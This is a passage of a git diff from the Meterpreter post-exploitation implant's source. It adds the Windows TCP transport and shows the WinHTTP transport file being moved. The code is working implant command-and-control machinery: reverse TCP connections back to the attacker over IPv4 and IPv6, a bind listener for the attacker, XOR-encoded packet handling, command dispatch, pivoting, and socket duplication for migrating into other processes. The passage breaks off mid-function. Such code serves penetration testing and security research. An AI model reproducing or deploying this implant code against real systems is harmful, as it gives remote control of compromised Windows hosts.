seconds to continually retry for. + * @param retryWait The number of seconds between each connect attempt. + * @return Indication of success or failure. + */ +static DWORD reverse_tcp4(const char* host, u_short port, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer) +{ + *socketBuffer = 0; + + // start by attempting to fire up Winsock. + WSADATA wsaData = { 0 }; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + { + return WSAGetLastError(); + } + + // prepare to connect to the attacker + SOCKET socketHandle = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + struct hostent* target = gethostbyname(host); + char* targetIp = inet_ntoa(*(struct in_addr *)*target->h_addr_list); + + SOCKADDR_IN sock = { 0 }; + sock.sin_addr.s_addr = inet_addr(targetIp); + sock.sin_family = AF_INET; + sock.sin_port = htons(port); + + DWORD result = reverse_tcp_run(socketHandle, (SOCKADDR*)&sock, sizeof(sock), retryTotal, retryWait); + + if (result == ERROR_SUCCESS) + { + *socketBuffer = socketHandle; + } + + return result; +} + +/*! + * @brief Connects to a provided host/port (IPv6), downloads a payload and executes it. + * @param host String containing the name or IP of the host to connect to. + * @param service The target service/port. + * @param scopeId IPv6 scope ID. + * @param retryTotal The number of seconds to continually retry for. + * @param retryWait The number of seconds between each connect attempt. + * @return Indication of success or failure. + */ +static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer) +{ + *socketBuffer = 0; + + // start by attempting to fire up Winsock. + WSADATA wsaData = { 0 }; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + { + return WSAGetLastError(); + } + + ADDRINFO hints = { 0 }; + hints.ai_family = AF_INET6; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + LPADDRINFO addresses; + if (getaddrinfo(host, service, &hints, &addresses) != 0) + { + return WSAGetLastError(); + } + + // prepare to connect to the attacker + SOCKET socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); + + if (socketHandle == INVALID_SOCKET) + { + dprintf("[STAGELESS IPV6] failed to connect to attacker"); + return WSAGetLastError(); + } + + DWORD result = ERROR_SUCCESS; + int start = current_unix_timestamp(); + do + { + int retryStart = current_unix_timestamp(); + for (LPADDRINFO address = addresses; address != NULL; address = address->ai_next) + { + ((LPSOCKADDR_IN6)address->ai_addr)->sin6_scope_id = scopeId; + + if ((result = connect(socketHandle, address->ai_addr, (int)address->ai_addrlen)) != SOCKET_ERROR) + { + dprintf("[STAGELESS IPV6] Socket successfully connected"); + *socketBuffer = socketHandle; + freeaddrinfo(addresses); + return ERROR_SUCCESS; + } + } + + dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); + sleep(retryWait); + } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); + + closesocket(socketHandle); + freeaddrinfo(addresses); + + return result; +} + +/*! + * @brief Perform the bind_tcp process. + * @param listenSocket The existing listen socket that refers to the remote host connection, closed before returning. + * @param sockAddr The SOCKADDR structure which contains details of the connection. + * @param sockAddrSize The size of the \c sockAddr structure. + * @param acceptSocketBuffer Buffer that will receive the accepted socket handle on success. + * @return Indication of success or failure. + */ +static DWORD bind_tcp_run(SOCKET listenSocket, SOCKADDR* sockAddr, int sockAddrSize, SOCKET* acceptSocketBuffer) +{ + DWORD result = ERROR_SUCCESS; + do + { + if (bind(listenSocket, sockAddr, sockAddrSize) == SOCKET_ERROR) + { + result = WSAGetLastError(); + break; + } + + if (listen(listenSocket, 1) == SOCKET_ERROR) + { + result = WSAGetLastError(); + break; + } + + // Setup, ready to go, now wait for the connection. + SOCKET acceptSocket = accept(listenSocket, NULL, NULL); + + if (acceptSocket == INVALID_SOCKET) + { + result = WSAGetLastError(); + break; + } + + *acceptSocketBuffer = acceptSocket; + } while (0); + + closesocket(listenSocket); + + return result; +} + +/*! + * @brief Listens on a port for an incoming payload request. + * @param port Port number to listen on. + * @param socketBuffer Pointer to the variable that will recieve the socket file descriptor. + * @return Indication of success or failure. + */ +static DWORD bind_tcp(u_short port, SOCKET* socketBuffer) +{ + *socketBuffer = 0; + + // start by attempting to fire up Winsock. + WSADATA wsaData = { 0 }; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + { + return WSAGetLastError(); + } + + // prepare a connection listener for the attacker to connect to, and we + // attempt to bind to both ipv6 and ipv4 by default, and fallback to ipv4 + // only if the process fails. + BOOL v4Fallback = FALSE; + SOCKET listenSocket = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); + + if (listenSocket == INVALID_SOCKET) + { + dprintf("[BIND] Unable to create IPv6 socket"); + v4Fallback = TRUE; + } + else + { + int no = 0; + if (setsockopt(listenSocket, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) + { + // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to + // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common + // so instead, we'll just revert back to v4 and listen on that one address instead. + dprintf("[BIND] Unable to remove IPV6_ONLY option"); + closesocket(listenSocket); + v4Fallback = TRUE; + } + } + + if (v4Fallback) + { + dprintf("[BIND] Falling back to IPV4"); + listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + } + + struct sockaddr_in6 sockAddr = { 0 }; + + if (v4Fallback) + { + struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr; + v4Addr->sin_addr.s_addr = htons(INADDR_ANY); + v4Addr->sin_family = AF_INET; + v4Addr->sin_port = htons(port); + } + else + { + sockAddr.sin6_addr = in6addr_any; + sockAddr.sin6_family = AF_INET6; + sockAddr.sin6_port = htons(port); + } + + return bind_tcp_run(listenSocket, (SOCKADDR*)&sockAddr, v4Fallback ? sizeof(struct sockaddr_in) : sizeof(struct sockaddr_in6), socketBuffer); +} + +/*! + * @brief Poll a socket for data to recv and block when none available. + * @param remote Pointer to the remote instance. + * @param timeout Amount of time to wait before the poll times out (in milliseconds). + * @return Indication of success or failure. + */ +static LONG server_socket_poll(Remote* remote, long timeout) +{ + TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; + struct timeval tv; + LONG result; + fd_set fdread; + + lock_acquire(remote->lock); + + FD_ZERO(&fdread); + FD_SET(ctx->fd, &fdread); + + tv.tv_sec = 0; + tv.tv_usec = timeout; + + result = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv); + + lock_release(remote->lock); + + return result; +} + +/*! + * @brief Receive a new packet on the given remote endpoint. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to a pointer that will receive the \c Packet data. + * @return An indication of the result of processing the transmission request. + */ +static DWORD packet_receive(Remote *remote, Packet **packet) +{ + DWORD headerBytes = 0, payloadBytesLeft = 0, res; + Packet *localPacket = NULL; + PacketHeader header = { 0 }; + LONG bytesRead; + BOOL inHeader = TRUE; + PUCHAR packetBuffer = NULL; + ULONG payloadLength; + TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; + + lock_acquire(remote->lock); + + dprintf("[TCP PACKET RECEIVE] reading in the header"); + // Read the packet length + while (inHeader) + { + if ((bytesRead = recv(ctx->fd, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0) + { + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + headerBytes += bytesRead; + + if (headerBytes != sizeof(PacketHeader)) + { + continue; + } + + inHeader = FALSE; + } + + if (headerBytes != sizeof(PacketHeader)) + { + dprintf("[TCP] we didn't get enough header bytes"); + goto out; + } + + dprintf("[TCP] the XOR key is: %02x%02x%02x%02x", header.xor_key[0], header.xor_key[1], header.xor_key[2], header.xor_key[3]); + +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&header; + vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + // At this point, we might have read in a valid TLV packet, or we might have read in the first chunk of data + // from a staged listener after a reconnect. We can figure this out rather lazily by assuming the following: + // XOR keys are always 4 bytes that are non-zero. If the higher order byte of the xor key is zero, then it + // isn't an XOR Key, instead it's the 4-byte length of the metsrv binary (because metsrv isn't THAT big). + if (header.xor_key[3] == 0) + { + // looks like we have a metsrv instance, time to ignore it. + int length = *(int*)&header.xor_key[0]; + dprintf("[TCP] discovered a length header, assuming it's metsrv of length %d", length); + + int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD); + char buffer[65535]; + + while (bytesToRead > 0) + { + int bytesRead = recv(ctx->fd, buffer, min(sizeof(buffer), bytesToRead), 0); + + if (bytesRead < 0) + { + if (GetLastError() == WSAEWOULDBLOCK) + { + continue; + } + SetLastError(ERROR_NOT_FOUND); + break; + } + + bytesToRead -= bytesRead; + } + + // did something go wrong. + if (bytesToRead > 0) + { + goto out; + } + + // indicate success, but don't return a packet for processing + SetLastError(ERROR_SUCCESS); + *packet = NULL; + } + else + { + vdprintf("[TCP] XOR key looks fine, moving on"); + PacketHeader encodedHeader; + memcpy(&encodedHeader, &header, sizeof(PacketHeader)); + // xor the header data + xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&header; + vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + payloadLength = ntohl(header.length) - sizeof(TlvHeader); + vdprintf("[TCP] Payload length is %d", payloadLength); + DWORD packetSize = sizeof(PacketHeader) + payloadLength; + vdprintf("[TCP] total buffer size for the packet is %d", packetSize); + payloadBytesLeft = payloadLength; + + // Allocate the payload + if (!(packetBuffer = (PUCHAR)malloc(packetSize))) + { + dprintf("[TCP] Failed to create the packet buffer"); + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + goto out; + } + dprintf("[TCP] Allocated packet buffer at %p", packetBuffer); + + // Copy the packet header stuff over to the packet + memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader)); + + LPBYTE payload = packetBuffer + sizeof(PacketHeader); + + // Read the payload + while (payloadBytesLeft > 0) + { + if ((bytesRead = recv(ctx->fd, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, 0)) <= 0) + { + + if (GetLastError() == WSAEWOULDBLOCK) + { + continue; + } + + if (bytesRead < 0) + { + SetLastError(ERROR_NOT_FOUND); + } + goto out; + } + + payloadBytesLeft -= bytesRead; + } + + // Didn't finish? + if (payloadBytesLeft) + { + dprintf("[TCP] Failed to get all the payload bytes"); + goto out; + } + +#ifdef DEBUGTRACE + h = (PUCHAR)&header.session_guid[0]; + dprintf("[TCP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); +#endif + if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) + { + dprintf("[TCP] Session GUIDs match (or packet guid is null), decrypting packet"); + SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); + } + else + { + dprintf("[TCP] Session GUIDs don't match, looking for a pivot"); + PivotContext* pivotCtx = pivot_tree_find(remote->pivot_sessions, header.session_guid); + if (pivotCtx != NULL) + { + dprintf("[TCP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)"); + SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize)); + + // mark this packet buffer as NULL as the thread will clean it up + packetBuffer = NULL; + *packet = NULL; + } + else + { + dprintf("[TCP] Session GUIDs don't match, can't find pivot!"); + } + } + } + +out: + res = GetLastError(); + + dprintf("[TCP] Freeing stuff up"); + SAFE_FREE(packetBuffer); + + // Cleanup on failure + if (res != ERROR_SUCCESS) + { + SAFE_FREE(localPacket); + } + + lock_release(remote->lock); + dprintf("[TCP] Packet receive finished"); + + return res; +} + +/*! + * @brief The servers main dispatch loop for incoming requests using TCP + * @param remote Pointer to the remote endpoint for this server connection. + * @param dispatchThread Pointer to the main dispatch thread. + * @returns Indication of success or failure. + */ +static DWORD server_dispatch_tcp(Remote* remote, THREAD* dispatchThread) +{ + Transport* transport = remote->transport; + BOOL running = TRUE; + LONG result = ERROR_SUCCESS; + Packet * packet = NULL; + THREAD * cpt = NULL; + + dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote); + + int lastPacket = current_unix_timestamp(); + while (running) + { + if (event_poll(dispatchThread->sigterm, 0)) + { + dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); + break; + } + + result = server_socket_poll(remote, 50000); + if (result > 0) + { + result = packet_receive(remote, &packet); + if (result != ERROR_SUCCESS) + { + dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result); + break; + } + + if (packet == NULL) + { + dprintf("[DISPATCH] No packet received, probably just metsrv being ignored or a pivot packet being handled."); + } + else + { + running = command_handle(remote, packet); + dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); + } + + // packet received, reset the timer + lastPacket = current_unix_timestamp(); + } + else if (result == 0) + { + // check if the communication has timed out, or the session has expired, so we should terminate the session + int now = current_unix_timestamp(); + if (now > remote->sess_expiry_end) + { + result = ERROR_SUCCESS; + dprintf("[DISPATCH] session has ended"); + break; + } + else if ((now - lastPacket) > transport->timeouts.comms) + { + result = ERROR_NETWORK_NOT_AVAILABLE; + dprintf("[DISPATCH] communications has timed out"); + break; + } + } + else + { + dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result); + break; + } + } + + dprintf("[DISPATCH] leaving server_dispatch."); + + return result; +} + +/*! + * @brief Get the socket from the transport (if it's TCP). + * @param transport Pointer to the TCP transport containing the socket. + * @return The current transport socket FD, if any, or zero. + */ +static UINT_PTR transport_get_handle_tcp(Transport* transport) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_TCP) + { + return (UINT_PTR)((TcpTransportContext*)transport->ctx)->fd; + } + + return 0; +} + +/*! + * @brief Set the socket from the transport (if it's TCP). + * @param transport Pointer to the TCP transport containing the socket. + * @param handle The current transport socket FD, if any. + */ +static void transport_set_handle_tcp(Transport* transport, UINT_PTR handle) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_TCP) + { + ((TcpTransportContext*)transport->ctx)->fd = (SOCKET)handle; + } +} + +/*! + * @brief Destroy the TCP transport. + * @param transport Pointer to the TCP transport to destroy. + */ +static void transport_destroy_tcp(Transport* transport) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_TCP) + { + dprintf("[TRANS TCP] Destroying tcp transport for url %S", transport->url); + SAFE_FREE(transport->url); + SAFE_FREE(transport->ctx); + SAFE_FREE(transport); + } +} + +/*! + * @brief Handle cleaning up on the client socket when MSF terminates the connection. + * @param thread Pointer to the thread instance. + * @return EXIT_SUCCESS + */ +DWORD THREADCALL cleanup_socket(THREAD* thread) +{ + char buf[4]; + int result; + SOCKET fd = (SOCKET)thread->parameter1; + + dprintf("[TCP] waiting for disconnect from remote"); + // loop until FD_CLOSE comes through. + while ((result = recv(fd, buf, sizeof(buf), 0)) != 0) + { + if (result <= 0) + { + break; + } + } + + dprintf("[TCP] disconnect received, cleaning up"); + closesocket(fd); + thread_destroy(thread); + + return EXIT_SUCCESS; +} + +/*! + * @brief Reset the given TCP connection. + * @param transport Pointer to the TCP transport to reset. + * @param shuttingDown Indication that the Metsrv instance is terminating completely. + */ +static void transport_reset_tcp(Transport* transport, BOOL shuttingDown) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_TCP) + { + TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; + dprintf("[TCP] Resetting transport from %u", ctx->fd); + if (ctx->fd) + { + if (shuttingDown) + { + dprintf("[TCP] Transport is shutting down"); + // we can terminate right here, given that we're closing up + closesocket(ctx->fd); + } + else + { + // Thanks to the fact that we know we can't rely on Windows to flush the socket nicely + // we can't just call "closesocket" on the socket. If we do, we could lose packets that + // cause MSF to be rather unhappy (and it hangs as a result of not getting a response). + // Instead of this, we create a new thread which monitors the socket handle. We know that + // MSF will terminate that connection when resetting, and so we wait for that termination + // before cleaning up the socket. This is done in another thread so that functionality + // can continue. + dprintf("[TCP] It should now be safe to close the socket."); + THREAD* t = thread_create(cleanup_socket, (LPVOID)ctx->fd, NULL, NULL); + thread_run(t); + } + } + ctx->fd = 0; + dprintf("[TCP] Transport 0x%p is now reset to %u", transport, ctx->fd); + } +} + +/*! + * @brief Configure the TCP connnection. If it doesn't exist, go ahead and estbalish it. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static BOOL configure_tcp_connection(Transport* transport) +{ + DWORD result = ERROR_SUCCESS; + size_t charsConverted; + char asciiUrl[512]; + TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; + + // check if comms is already open via a staged payload + if (ctx->fd) + { + dprintf("[TCP] Connection already running on %u", ctx->fd); + } + else + { + // From here, we need to establish comms a-la stageless. + wcstombs_s(&charsConverted, asciiUrl, sizeof(asciiUrl), transport->url, sizeof(asciiUrl)-1); + + dprintf("[TCP CONFIGURE] Url: %S", transport->url); + + //transport->start_time = current_unix_timestamp(); + transport->comms_last_packet = current_unix_timestamp(); + + if (strncmp(asciiUrl, "tcp", 3) == 0) + { + char* pHost = strstr(asciiUrl, "//") + 2; + char* pPort = strrchr(pHost, ':') + 1; + + // check if we're using IPv6 + if (asciiUrl[3] == '6') + { + char* pScopeId = strrchr(pHost, '?') + 1; + *(pScopeId - 1) = '\0'; + *(pPort - 1) = '\0'; + dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId); + result = reverse_tcp6(pHost, pPort, atol(pScopeId), transport->timeouts.retry_total, + transport->timeouts.retry_wait, &ctx->fd); + } + else + { + u_short usPort = (u_short)atoi(pPort); + + // if no host is specified, then we can assume that this is a bind payload, otherwise + // we'll assume that the payload is a reverse_tcp one and the given host is valid + if (*pHost == ':') + { + dprintf("[STAGELESS] IPv4 bind port %s", pPort); + result = bind_tcp(usPort, &ctx->fd); + } + else + { + *(pPort - 1) = '\0'; + dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort); + result = reverse_tcp4(pHost, usPort, transport->timeouts.retry_total, + transport->timeouts.retry_wait, &ctx->fd); + } + } + } + } + + if (result != ERROR_SUCCESS) + { + dprintf("[SERVER] Something went wrong %u", result); + return FALSE; + } + + dprintf("[SERVER] Looking good, FORWARD!"); + + // Do not allow the file descriptor to be inherited by child processes + SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0); + + transport->comms_last_packet = current_unix_timestamp(); + + return TRUE; +} + +/*! + * @brief Transmit a packet via TCP. + * @param remote Pointer to the \c Remote instance. + * @param rawPacket Pointer to the raw packet bytes to send. + * @param rawPacketLength Length of the raw packet data. + * @return An indication of the result of processing the transmission request. + */ +DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength) +{ + TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; + DWORD result = ERROR_SUCCESS; + DWORD idx = 0; + + lock_acquire(remote->lock); + + while (idx < rawPacketLength) + { + result = send(ctx->fd, rawPacket + idx, rawPacketLength - idx, 0); + + if (result < 0) + { + dprintf("[PACKET] send failed: %d", result); + break; + } + + idx += result; + } + + result = GetLastError(); + + if (result != ERROR_SUCCESS) + { + dprintf("[PACKET] transmit packet failed with return %d at index %d\n", result, idx); + } + else + { + dprintf("[PACKET] Packet sent!"); + } + + lock_release(remote->lock); + + return result; +} + +/*! + * @brief Create a configuration block from the given transport. + * @param transport Transport data to create the configuration from. + * @return config Pointer to the config block to write to. + */ +void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config) +{ + if (transport && config) + { + config->common.comms_timeout = transport->timeouts.comms; + config->common.retry_total = transport->timeouts.retry_total; + config->common.retry_wait = transport->timeouts.retry_wait; + wcsncpy(config->common.url, transport->url, URL_SIZE); + } +} + +/*! + * @brief Create a migration context that is specific to this transport type. + * @param transport Transport data to create the configuration from. + * @param targetProcessId ID of the process that we will be migrating into. + * @param targetProcessHandle Handle to the target process. + * @param contextSize Buffer that will receive the size of the generated context. + * @param contextBufer Buffer that will receive the generated context. + * @return Indication of success or failure. + */ +static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer) +{ + LPTCPMIGRATECONTEXT ctx = (LPTCPMIGRATECONTEXT)calloc(1, sizeof(TCPMIGRATECONTEXT)); + + if (ctx == NULL) + { + return ERROR_OUTOFMEMORY; + } + + // Duplicate the socket for the target process + if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR) + { + free(ctx); + return WSAGetLastError(); + } + + *contextSize = sizeof(TCPMIGRATECONTEXT); + *contextBuffer = (PBYTE)ctx; + + return ERROR_SUCCESS; +} + +/*! + * @brief Gets the size of the memory space required to store the configuration for this transport. + * @param t Pointer to the transport. + * @return Size, in bytes of the required memory block. + */ +static DWORD transport_get_config_size_tcp(Transport* t) +{ + return sizeof(MetsrvTransportTcp); +} + +/*! + * @brief Creates a new TCP transport instance. + * @param config The TCP configuration block. + * @param size Pointer to the size of the parsed config block. + * @return Pointer to the newly configured/created TCP transport instance. + */ +Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size) +{ + Transport* transport = (Transport*)malloc(sizeof(Transport)); + TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext)); + + if (size) + { + *size = sizeof(MetsrvTransportTcp); + } + + dprintf("[TRANS TCP] Creating tcp transport for url %S", config->common.url); + + memset(transport, 0, sizeof(Transport)); + memset(ctx, 0, sizeof(TcpTransportContext)); + + transport->type = METERPRETER_TRANSPORT_TCP; + transport->timeouts.comms = config->common.comms_timeout; + transport->timeouts.retry_total = config->common.retry_total; + transport->timeouts.retry_wait = config->common.retry_wait; + transport->url = _wcsdup(config->common.url); + transport->packet_transmit = packet_transmit_tcp; + transport->transport_init = configure_tcp_connection; + transport->transport_destroy = transport_destroy_tcp; + transport->transport_reset = transport_reset_tcp; + transport->server_dispatch = server_dispatch_tcp; + transport->get_handle = transport_get_handle_tcp; + transport->set_handle = transport_set_handle_tcp; + transport->ctx = ctx; + transport->comms_last_packet = current_unix_timestamp(); + transport->get_migrate_context = get_migrate_context_tcp; + transport->get_config_size = transport_get_config_size_tcp; + + return transport; +} + diff --git a/c/meterpreter/source/server/win/server_transport_tcp.h b/c/meterpreter/source/metsrv/server_transport_tcp.h old mode 100755 new mode 100644 similarity index 63% rename from c/meterpreter/source/server/win/server_transport_tcp.h rename to c/meterpreter/source/metsrv/server_transport_tcp.h index d8b4804c..d1671dfa --- a/c/meterpreter/source/server/win/server_transport_tcp.h +++ b/c/meterpreter/source/metsrv/server_transport_tcp.h @@ -1,7 +1,7 @@ -#ifndef _METERPRETER_SERVER_TRANSPORT_TCP -#define _METERPRETER_SERVER_TRANSPORT_TCP +#ifndef _METERPRETER_METSRV_TRANSPORT_TCP +#define _METERPRETER_METSRV_TRANSPORT_TCP void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config); -Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size); +Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size); #endif \ No newline at end of file diff --git a/c/meterpreter/source/server/win/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/server_transport_winhttp.c rename to c/meterpreter/source/metsrv/server_transport_winhttp.c index d2491608..97a8b3ad --- a/c/meterpreter/source/server/win/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -1,1018 +1,1017 @@ -/*! - * @file server_transport_http.c - * @remark This file doesn't use precompiled headers because metsrv.h includes a bunch of - * of definitions that clash with those found in winhttp.h. Hooray Win32 API. I hate you. - */ -#include "../../common/common.h" -#include "../../common/config.h" -#include "server_transport_wininet.h" -#include -#include "../../common/packet_encryption.h" -#include "../../common/pivot_packet_dispatch.h" - -/*! - * @brief Prepare a winHTTP request with the given context. - * @param ctx Pointer to the HTTP transport context to prepare the request from. - * @param isGet Indication of whether this request is a GET request, otherwise POST is used. - * @param direction String representing the direction of the communications (for debug). - * @return An Internet request handle. - */ -static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, const char *direction) -{ - HINTERNET hReq = NULL; - DWORD flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; - - if (ctx->ssl) - { - flags |= WINHTTP_FLAG_SECURE; - dprintf("[%s] Setting secure flag..", direction); - } - - vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); - hReq = WinHttpOpenRequest(ctx->connection, isGet ? L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags); - - if (hReq == NULL) - { - dprintf("[%s] Failed WinHttpOpenRequest: %u", direction, GetLastError()); - SetLastError(ERROR_NOT_FOUND); - return NULL; - } - - // if no proxy is set, we should look to see if we can (and should) use the system - // proxy settings for the given user. - if (!ctx->proxy) - { - if (!ctx->proxy_configured) - { - WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ieConfig = { 0 }; - if (WinHttpGetIEProxyConfigForCurrentUser(&ieConfig)) - { - dprintf("[PROXY] Got IE configuration"); - dprintf("[PROXY] AutoDetect: %s", ieConfig.fAutoDetect ? "yes" : "no"); - dprintf("[PROXY] Auto URL: %S", ieConfig.lpszAutoConfigUrl); - dprintf("[PROXY] Proxy: %S", ieConfig.lpszProxy); - dprintf("[PROXY] Proxy Bypass: %S", ieConfig.lpszProxyBypass); - - if (ieConfig.lpszAutoConfigUrl || ieConfig.fAutoDetect) - { - WINHTTP_AUTOPROXY_OPTIONS autoProxyOpts = { 0 }; - WINHTTP_PROXY_INFO proxyInfo = { 0 }; - - if (ieConfig.fAutoDetect) - { - dprintf("[PROXY] IE config set to autodetect with DNS or DHCP"); - - autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; - autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; - autoProxyOpts.lpszAutoConfigUrl = 0; - } - else if (ieConfig.lpszAutoConfigUrl) - { - dprintf("[PROXY] IE config set to autodetect with URL %S", ieConfig.lpszAutoConfigUrl); - - autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; - autoProxyOpts.dwAutoDetectFlags = 0; - autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl; - } - autoProxyOpts.fAutoLogonIfChallenged = TRUE; - - if (WinHttpGetProxyForUrl(ctx->internet, ctx->url, &autoProxyOpts, &proxyInfo)) - { - ctx->proxy_for_url = malloc(sizeof(WINHTTP_PROXY_INFO)); - memcpy(ctx->proxy_for_url, &proxyInfo, sizeof(WINHTTP_PROXY_INFO)); - } - } - else if (ieConfig.lpszProxy) - { - WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)calloc(1, sizeof(WINHTTP_PROXY_INFO)); - ctx->proxy_for_url = proxyInfo; - - dprintf("[PROXY] IE config set to proxy %S with bypass %S", ieConfig.lpszProxy, ieConfig.lpszProxyBypass); - - proxyInfo->dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; - proxyInfo->lpszProxy = ieConfig.lpszProxy; - proxyInfo->lpszProxyBypass = ieConfig.lpszProxyBypass; - - // stop the cleanup code from removing these as we're using them behind the scenes and they will - // be freed later instead. - ieConfig.lpszProxy = NULL; - ieConfig.lpszProxyBypass = NULL;; - } - - if (ieConfig.lpszAutoConfigUrl) - { - GlobalFree(ieConfig.lpszAutoConfigUrl); - } - if (ieConfig.lpszProxy) - { - GlobalFree(ieConfig.lpszProxy); - } - if (ieConfig.lpszProxyBypass) - { - GlobalFree(ieConfig.lpszProxyBypass); - } - } - - // mark as "configured" so we don't attempt to do this horrible PoS mess again. - ctx->proxy_configured = TRUE; - } - - if (ctx->proxy_for_url && - !WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY, ctx->proxy_for_url, sizeof(WINHTTP_PROXY_INFO))) - { - dprintf("[%s] Unable to set proxy options: %u", GetLastError()); - } - } - else - { - if (ctx->proxy_user) - { - dprintf("[%s] Setting proxy username to %S", direction, ctx->proxy_user); - if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, 